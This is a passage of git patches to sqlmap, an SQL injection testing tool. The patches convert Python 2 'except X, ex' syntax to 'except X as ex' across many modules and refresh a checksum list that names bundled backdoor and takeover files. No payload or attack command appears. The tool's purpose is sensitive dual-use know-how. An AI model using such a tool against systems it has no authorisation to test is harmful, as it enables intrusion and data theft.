getUnicode(conf.data)) - except IOError, ex: + except IOError as ex: if "denied" in getUnicode(ex): errMsg = "you don't have enough permissions " else: diff --git a/lib/core/threads.py b/lib/core/threads.py index 9c0de76e2e3..d27cc259cd7 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -91,7 +91,7 @@ def exceptionHandledFunction(threadFunction, silent=False): kb.threadContinue = False kb.threadException = True raise - except Exception, ex: + except Exception as ex: if not silent and kb.get("threadContinue"): logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) @@ -150,7 +150,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio try: thread.start() - except Exception, ex: + except Exception as ex: errMsg = "error occurred while starting new thread ('%s')" % ex.message logger.critical(errMsg) break @@ -166,7 +166,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio alive = True time.sleep(0.1) - except (KeyboardInterrupt, SqlmapUserQuitException), ex: + except (KeyboardInterrupt, SqlmapUserQuitException) as ex: print kb.prependFlag = False kb.threadContinue = False @@ -184,7 +184,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio if forwardException: raise - except (SqlmapConnectionException, SqlmapValueException), ex: + except (SqlmapConnectionException, SqlmapValueException) as ex: print kb.threadException = True logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) diff --git a/lib/core/update.py b/lib/core/update.py index 814424a37db..6a3f984c742 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -51,7 +51,7 @@ def update(): try: open(os.path.join(directory, "sqlmap.py"), "w+b") - except Exception, ex: + except Exception as ex: errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) logger.error(errMsg) else: @@ -85,7 +85,7 @@ def update(): version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info("updated to the latest version '%s#dev'" % version) success = True - except Exception, ex: + except Exception as ex: logger.error("update could not be completed ('%s')" % getSafeExString(ex)) else: if not success: @@ -110,7 +110,7 @@ def update(): pollProcess(process, True) stdout, stderr = process.communicate() success = not process.returncode - except (IOError, OSError), ex: + except (IOError, OSError) as ex: success = False stderr = getSafeExString(ex) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index 70d93f3338e..92cbef28cd3 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -43,7 +43,7 @@ def adjust(self): if os.path.splitext(self.current)[1].lower() == ".zip": try: _ = zipfile.ZipFile(self.current, 'r') - except zipfile.error, ex: + except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" @@ -69,7 +69,7 @@ def next(self): self.counter += 1 try: retVal = self.iter.next().rstrip() - except zipfile.error, ex: + except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index db86972065e..669985bc2c2 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -814,7 +814,7 @@ def _(self, *args): try: for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) - except ValueError, ex: + except ValueError as ex: raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message) for i in xrange(len(argv)): @@ -866,7 +866,7 @@ def _(self, *args): try: (args, _) = parser.parse_args(argv) - except UnicodeEncodeError, ex: + except UnicodeEncodeError as ex: dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape")) raise SystemExit except SystemExit: diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index c76b7399483..4095c1dcc1c 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -39,7 +39,7 @@ def configFileProxy(section, option, datatype): value = config.getfloat(section, option) if config.get(section, option) else 0.0 else: value = config.get(section, option) - except ValueError, ex: + except ValueError as ex: errMsg = "error occurred while processing the option " errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) raise SqlmapSyntaxException(errMsg) @@ -71,7 +71,7 @@ def configFileParser(configFile): try: config = UnicodeRawConfigParser() config.readfp(configFP) - except Exception, ex: + except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 1eb13d4984d..3d500987813 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -78,7 +78,7 @@ def parseXmlNode(node): def loadBoundaries(): try: doc = et.parse(paths.BOUNDARIES_XML) - except Exception, ex: + except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" @@ -93,7 +93,7 @@ def loadPayloads(): try: doc = et.parse(payloadFilePath) - except Exception, ex: + except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" diff --git a/lib/request/connect.py b/lib/request/connect.py index e336941fa41..c8538b4c446 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -556,11 +556,11 @@ class _(dict): if hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() - except Exception, ex: + except Exception as ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warn(warnMsg) - except SqlmapConnectionException, ex: + except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: warnMsg = "unable to connect to the target URL ('%s')" % ex logger.critical(warnMsg) @@ -569,7 +569,7 @@ class _(dict): else: raise - except urllib2.HTTPError, ex: + except urllib2.HTTPError as ex: page = None responseHeaders = None @@ -834,7 +834,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent try: payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) - except Exception, ex: + except Exception as ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) raise SqlmapGenericException(errMsg) @@ -1097,7 +1097,7 @@ def _randomizeParameter(paramString, randomParameter): while True: try: compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n'))) - except SyntaxError, ex: + except SyntaxError as ex: if ex.text: original = replacement = ex.text.strip() if '=' in original: diff --git a/lib/request/dns.py b/lib/request/dns.py index 9eeb7630e07..0b9c525ec0c 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -149,7 +149,7 @@ def _(): time.sleep(1) - except socket.error, ex: + except socket.error as ex: if 'Permission' in str(ex): print "[x] Please run with sudo/Administrator privileges" else: diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 33a9dfc8b66..c75d2f6e9c8 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -63,7 +63,7 @@ def create_sock(): break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: + except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) @@ -83,7 +83,7 @@ def create_sock(): break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: + except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index f34aedf2bea..8e66409c8a2 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -24,7 +24,7 @@ def getConnection(self, host, timeout=None): try: # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) - except IOError, ex: + except IOError as ex: errMsg = "error occurred while using key " errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) diff --git a/lib/utils/api.py b/lib/utils/api.py index 2faa81a6de6..ec1dceeaaa9 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -95,7 +95,7 @@ def execute(self, statement, arguments=None): self.cursor.execute(statement, arguments) else: self.cursor.execute(statement) - except sqlite3.OperationalError, ex: + except sqlite3.OperationalError as ex: if "locked" not in getSafeExString(ex): raise else: @@ -266,7 +266,7 @@ def setRestAPILog(): try: conf.databaseCursor = Database(conf.database) conf.databaseCursor.connect("client") - except sqlite3.OperationalError, ex: + except sqlite3.OperationalError as ex: raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) # Set a logging handler that writes log messages to a IPC database @@ -689,7 +689,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=True, server=adapter) - except socket.error, ex: + except socket.error as ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: @@ -743,7 +743,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non try: _client(addr) - except Exception, ex: + except Exception as ex: if not isinstance(ex, urllib2.HTTPError) or ex.code == httplib.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr @@ -798,7 +798,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non try: argv = ["sqlmap.py"] + shlex.split(command)[1:] - except Exception, ex: + except Exception as ex: logger.error("Error occurred while parsing arguments ('%s')" % ex) taskid = None continue diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 7ceb98a7378..12d29522ac7 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -63,14 +63,14 @@ def crawlThread(): try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] - except SqlmapConnectionException, ex: + except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) - except httplib.InvalidURL, ex: + except httplib.InvalidURL as ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString(ex) errMsg += "URL '%s'" % current logger.critical(errMsg) @@ -138,7 +138,7 @@ def crawlThread(): url = urlparse.urljoin(target, "/sitemap.xml") try: items = parseSitemap(url) - except SqlmapConnectionException, ex: + except SqlmapConnectionException as ex: if "page not found" in getSafeExString(ex): found = False logger.warn("'sitemap.xml' not found") diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 4ea776607ab..78f8e04bbf9 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -998,7 +998,7 @@ def dictionaryAttack(attack_dict): kb.wordlists = dictPaths - except Exception, ex: + except Exception as ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index d8206b55661..820a2196833 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -41,7 +41,7 @@ def _get_cursor(self): threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() - except Exception, ex: + except Exception as ex: errMsg = "error occurred while opening a session " errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) @@ -81,7 +81,7 @@ def retrieve(self, key, unserialize=False): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] - except sqlite3.OperationalError, ex: + except sqlite3.OperationalError as ex: if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) singleTimeWarnMessage(warnMsg) @@ -89,7 +89,7 @@ def retrieve(self, key, unserialize=False): break else: raise - except sqlite3.DatabaseError, ex: + except sqlite3.DatabaseError as ex: errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) errMsg += "If the problem persists please rerun with '--flush-session'" raise SqlmapConnectionException(errMsg) @@ -141,7 +141,7 @@ def flush(self, forced=False): self.cursor.execute("INSERT INTO storage VALUES (?, ?)", (hash_, value,)) except sqlite3.IntegrityError: self.cursor.execute("UPDATE storage SET value=? WHERE id=?", (value, hash_,)) - except sqlite3.DatabaseError, ex: + except sqlite3.DatabaseError as ex: if not os.path.exists(self.filepath): debugMsg = "session file '%s' does not exist" % self.filepath logger.debug(debugMsg) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 8849cbfcda3..a60a4175440 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -175,7 +175,7 @@ def _(column, pivotValue): warnMsg += "will display partial output" logger.warn(warnMsg) - except SqlmapConnectionException, ex: + except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex) errMsg += "will display partial output" diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 5604aba670d..248ad0ce804 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -79,5 +79,5 @@ def purge(directory): try: shutil.rmtree(directory) - except OSError, ex: + except OSError as ex: logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex))) diff --git a/lib/utils/search.py b/lib/utils/search.py index 24ef82449f4..872558cd0e2 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -54,7 +54,7 @@ def _search(dork): try: req = urllib2.Request("https://www.google.com/ncr", headers=headers) conn = urllib2.urlopen(req) - except Exception, ex: + except Exception as ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) raise SqlmapConnectionException(errMsg) @@ -91,7 +91,7 @@ def _search(dork): except urllib2.HTTPError, e: try: page = e.read() - except Exception, ex: + except Exception as ex: warnMsg = "problem occurred while trying to get " warnMsg += "an error page information (%s)" % getSafeExString(ex) logger.critical(warnMsg) @@ -183,7 +183,7 @@ def search(dork): try: return _search(dork) - except SqlmapBaseException, ex: + except SqlmapBaseException as ex: if conf.proxyList: logger.critical(getSafeExString(ex)) diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 76d2087bf6a..7485653488a 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -43,7 +43,7 @@ def connect(self): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), ex: + except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError) as ex: if "Oracle Client library" in str(ex): msg = re.sub(r"DPI-\d+:\s+", "", str(ex)) msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index fa390b361e3..dc49e5a505b 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -70,7 +70,7 @@ def sqlQuery(self, query): output = NULL - except SqlmapNoneDataException, ex: + except SqlmapNoneDataException as ex: logger.warn(ex) return output diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 87a4e9444e8..5c51c06a123 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -444,13 +444,13 @@ def dumpTable(self, foundData=None): "db": safeSQLIdentificatorNaming(conf.db)} try: attackDumpedTable() - except (IOError, OSError), ex: + except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) - except SqlmapConnectionException, ex: + except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index a6d298e372e..426de121155 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -140,7 +140,7 @@ def osPwn(self): try: with open(filename, "wb") as f: f.write("1") - except IOError, ex: + except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 59d2d59ca65..228c36daf8a 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -1141,7 +1141,7 @@ def _ParseFileEx(file, base_uri, for form in forms: try: form.fixup() - except AttributeError, ex: + except AttributeError as ex: if not any(_ in str(ex) for _ in ("is disabled", "is readonly")): raise return forms diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c7145c32fed..1cbe56b4ef8 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -5,7 +5,7 @@ fb6be55d21a70765e35549af2484f762 extra/cloak/__init__.py 6baecbea87de0a56f99e59bfe982ebc5 extra/dbgtool/dbgtool.py fb6be55d21a70765e35549af2484f762 extra/dbgtool/__init__.py acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ -708e9fd35dabcbfcd10e91bbc14f091f extra/icmpsh/icmpsh_m.py +216a0e04bef7053e6aa35ca98907007e extra/icmpsh/icmpsh_m.py 2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py fb6be55d21a70765e35549af2484f762 extra/__init__.py ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_ @@ -21,64 +21,64 @@ e4805169a081b834ca51a60a150c7247 extra/shutils/newlines.py fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py 53d5dcba047f1285e32b9e88d2803ebf extra/sqlharvest/sqlharvest.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -f73623c18b7f6ebb71f10e124b1b93c9 extra/wafdetectify/wafdetectify.py -d0f2b424f5b2b06f26cdd7076d61be6e lib/controller/action.py -eaccf6204d8c44cee9daba955af0c85e lib/controller/checks.py -3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py -e97a9d34fef5761a8eab6432ce3c7c53 lib/controller/handler.py +d7e3aa3221c5ddb106a029720bf9fb5e extra/wafdetectify/wafdetectify.py +ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py +d62df9d0d5643d67b75f836ea87827c7 lib/controller/checks.py +c4d559a98cfc62b401ef7e0bfab782f0 lib/controller/controller.py +c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py -fdabbf8dda7277e5f4e3d0a6252cffb6 lib/core/bigarray.py -4706fb856c1662ef5afd747544d0d8cb lib/core/common.py +44ac129c1b3b6130b4f1bc7b93036278 lib/core/bigarray.py +5da00a381cc1847201ffbeb663653ecd lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py b7c912e2af7a3354f6d7c04f556a80b2 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py -040895bafa05783ca1a2e6c74d6de2c6 lib/core/dump.py +070e9439a18d2d9067e3a135b239fa3f lib/core/dump.py 5c91145204092b995ed1ac641e9e291d lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -8867c1cb5a045cea99d8a9a7ceea6abf lib/core/option.py +95f9836ad46146537cc16f918a002118 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 0f1d79ada721cf6def611b21b03d68af lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py -9a7d68d5fa01561500423791f15cc676 lib/core/replication.py +7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -a6c91e706b0c752a7c89ed1a5737b8e6 lib/core/settings.py +71bd4886e45f4d0f6d9f556c12a06c7f lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py -eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py +2d29cdb5e7bc612b2ade8e4ab0b1495e lib/core/target.py a71b23612f2f2c7be8a843858408fdcc lib/core/testing.py -5ebd996b2a77449df90320847e30a073 lib/core/threads.py +bf4bdec9b247a999f877a5e5d7daeb70 lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py -5bd7cd6553a4a1c85cbaaddc268108e4 lib/core/update.py -5232b05d5c42a0e5a5a2d5952c6c39a5 lib/core/wordlist.py +ff45c74515fecc95277f7b9ad945f17c lib/core/update.py +b40f4c20a38729bb4933b8221665f106 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py -65a5b384bc3d545b366b344eddeb0805 lib/parse/cmdline.py -85e44fc7673a661305909a85ed24c5ae lib/parse/configfile.py +80c67d8d0add0097fd0284f043eee939 lib/parse/cmdline.py +06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py 9b33e52f697d6e915c7a10153562ce89 lib/parse/handler.py 43deb2400e269e602e916efaec7c0903 lib/parse/headers.py 77e802323ffa718dd9c27512656c0a70 lib/parse/html.py fb6be55d21a70765e35549af2484f762 lib/parse/__init__.py -92b55cf4246ae7ff6651ac8deb4a0ac5 lib/parse/payloads.py +adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py 993104046c7d97120613409ef7780c76 lib/parse/sitemap.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py 6076c01e84b589adb97cac421a7d5251 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -8e7f52dd4ef26f90310fc1082e17f4f8 lib/request/connect.py +2192d65f4a8ba15c081e12590b6e517f lib/request/connect.py 7cba86090b02558f04c6692cef66e772 lib/request/direct.py -0a5cc34a7bbe709684ce32b4b46afd32 lib/request/dns.py -7bab2719ef2a6f1ddd838fa2335ae635 lib/request/httpshandler.py +4c7afe3d4be0c2d767b11df36b46bbcc lib/request/dns.py +ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py fb6be55d21a70765e35549af2484f762 lib/request/__init__.py 00720f9eddf42f4fefa083fba40f69ed lib/request/inject.py 52a067bd2fe91ea9395269a684380cbb lib/request/methodrequest.py -321786eeb43821106e41fc72bd4f9901 lib/request/pkihandler.py +ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py 16ff6e078819fe517b1fc0ae3cbc1aa8 lib/request/rangehandler.py e79048c2a08c1a47efd5652f59c4417d lib/request/redirecthandler.py 1e60edebdb3997055616d12f4a932375 lib/request/templates.py @@ -101,20 +101,20 @@ fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py baa3946c23749d898f473dba0f4eecff lib/techniques/union/test.py d32988e13713417286ab83a00856858e lib/techniques/union/use.py -bf5e2a2b265c0d8b9f054c94fb74dcb9 lib/utils/api.py +31d0ac4f92d4ffddf9936499829484cc lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py -ac0780394af107b9a516463efc4de2e5 lib/utils/crawler.py +b27421eb57cea711050135f84be99258 lib/utils/crawler.py da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py 0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py -1fc47aa8860f809d103048e4eb51cdd2 lib/utils/hashdb.py -ef3fadd11bc45552d26f00b34f732097 lib/utils/hash.py +d11f7f208ccf3a7753ccc417b4b01901 lib/utils/hashdb.py +3302ee15997023b20babaa7c67e6b0b8 lib/utils/hash.py 17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py -2a40a6bd1779f7db5199f089411b1c1c lib/utils/pivotdumptable.py +833b05c72c9fa60b0a25b0a26f8f31fb lib/utils/pivotdumptable.py 5a8902fd6fa94ea73cf44952f9ed5a57 lib/utils/progress.py -a41136344768902f82b2855e88fd228d lib/utils/purge.py -631aa9e193e459875528fee78e9a770b lib/utils/search.py +b79654e49850937ab2dc8e0d73625cab lib/utils/purge.py +081765fc1b3ad8a63f72e9c0e02ff00e lib/utils/search.py 8d6b244ca3d6f99a9d6cd8c1856ccfeb lib/utils/sqlalchemy.py a90c568a9b88eaea832a77581bd39d85 lib/utils/timeout.py 164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py @@ -183,7 +183,7 @@ fd79ec2504b6bada7d2da233a549af53 plugins/dbms/mysql/fingerprint.py 040835bde6be85ebc1a6667dcd08940e plugins/dbms/mysql/__init__.py dd6bd1d3d561755b96e953ede16cb8fc plugins/dbms/mysql/syntax.py 6c91ef5b5a6cd29cef4bd9bc3c369454 plugins/dbms/mysql/takeover.py -fba38967a03e30a162660dd3685a46f2 plugins/dbms/oracle/connector.py +6e6c992f7fff55a8aa79d14437c648e7 plugins/dbms/oracle/connector.py 3266e81eb4a3c083d27c7a255be38893 plugins/dbms/oracle/enumeration.py 5bdd5288c8303ea21a5f8409332e32a1 plugins/dbms/oracle/filesystem.py 8813f44f3b67fc98024199c7b8398811 plugins/dbms/oracle/fingerprint.py @@ -212,9 +212,9 @@ d2391dfe74f053eb5f31b0efad3fdda0 plugins/dbms/sqlite/connector.py ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py 147f6af265f6b5412bbd7aaebef95881 plugins/generic/connector.py -e492c91101cecd66c9f6a630eab85368 plugins/generic/custom.py +54ac71c46c67c81196e2e6707e0989cf plugins/generic/custom.py a3fd48c7094fca6692be8b1ae5e29cea plugins/generic/databases.py -6283b356e6055bb9071f00cdf66dea24 plugins/generic/entries.py +9c2c830b3cf66953ecffa6cf88fc7c14 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py 65e75cd3c2c7acffa6ac13b086e0f383 plugins/generic/fingerprint.py @@ -222,7 +222,7 @@ fb6be55d21a70765e35549af2484f762 plugins/generic/__init__.py de1928d6865547764ae9a896da4bf1d4 plugins/generic/misc.py 8bc2b5dfbc4c644ed95adfe8099ee067 plugins/generic/search.py 1989f6cbed217f4222dc2dce72992d91 plugins/generic/syntax.py -d152384fffebfa010188707bf683cd3c plugins/generic/takeover.py +44c388ea08d4296e2bf2706e19cbe64a plugins/generic/takeover.py a4b9f764140e89279e3d0dace99bfa5f plugins/generic/users.py fb6be55d21a70765e35549af2484f762 plugins/__init__.py 5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_ @@ -336,7 +336,7 @@ ee25f2a03587e2c283eab0b36c9e5783 thirdparty/chardet/sbcsgroupprober.py c9349824f2647962175d321cc0c52134 thirdparty/chardet/sjisprober.py bcae4c645a737d3f0e7c96a66528ca4a thirdparty/chardet/universaldetector.py 6f8b3e25472c02fb45a75215a175991f thirdparty/chardet/utf8prober.py -3c1b0d627e98643b317244ecfd240bb5 thirdparty/clientform/clientform.py +9df18debb6b5c5c0caff3d126958c8d7 thirdparty/clientform/clientform.py 722281d87fb13ec22555480f8f4c715b thirdparty/clientform/__init__.py 0b625ccefa6b066f79d3cbb3639267e6 thirdparty/colorama/ansi.py 93bb7f06c8300a91b533ea55e8aead43 thirdparty/colorama/ansitowin32.py From db3bed3f44ac8a3c6117cbf98f938432d19286bf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 01:20:27 +0100 Subject: [PATCH 062/800] Update related to the last commit --- extra/cloak/cloak.py | 6 ++- extra/dbgtool/dbgtool.py | 8 ++-- extra/safe2bin/safe2bin.py | 4 +- extra/shutils/duplicates.py | 4 +- extra/shutils/newlines.py | 8 ++-- extra/shutils/pylint.py | 20 +++++----- extra/shutils/regressiontest.py | 8 ++-- extra/sqlharvest/sqlharvest.py | 12 +++--- extra/wafdetectify/wafdetectify.py | 10 +++-- lib/controller/checks.py | 4 +- lib/core/common.py | 2 + lib/core/dump.py | 4 +- lib/core/settings.py | 2 +- lib/core/target.py | 6 +-- lib/core/testing.py | 12 +++--- lib/parse/cmdline.py | 4 +- lib/request/basic.py | 5 ++- lib/request/dns.py | 6 ++- lib/request/redirecthandler.py | 5 ++- lib/utils/hash.py | 8 ++-- lib/utils/sqlalchemy.py | 16 ++++---- lib/utils/timeout.py | 4 +- plugins/dbms/firebird/connector.py | 16 ++++---- plugins/dbms/hsqldb/connector.py | 17 ++++---- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/generic/connector.py | 4 +- txt/checksum.md5 | 56 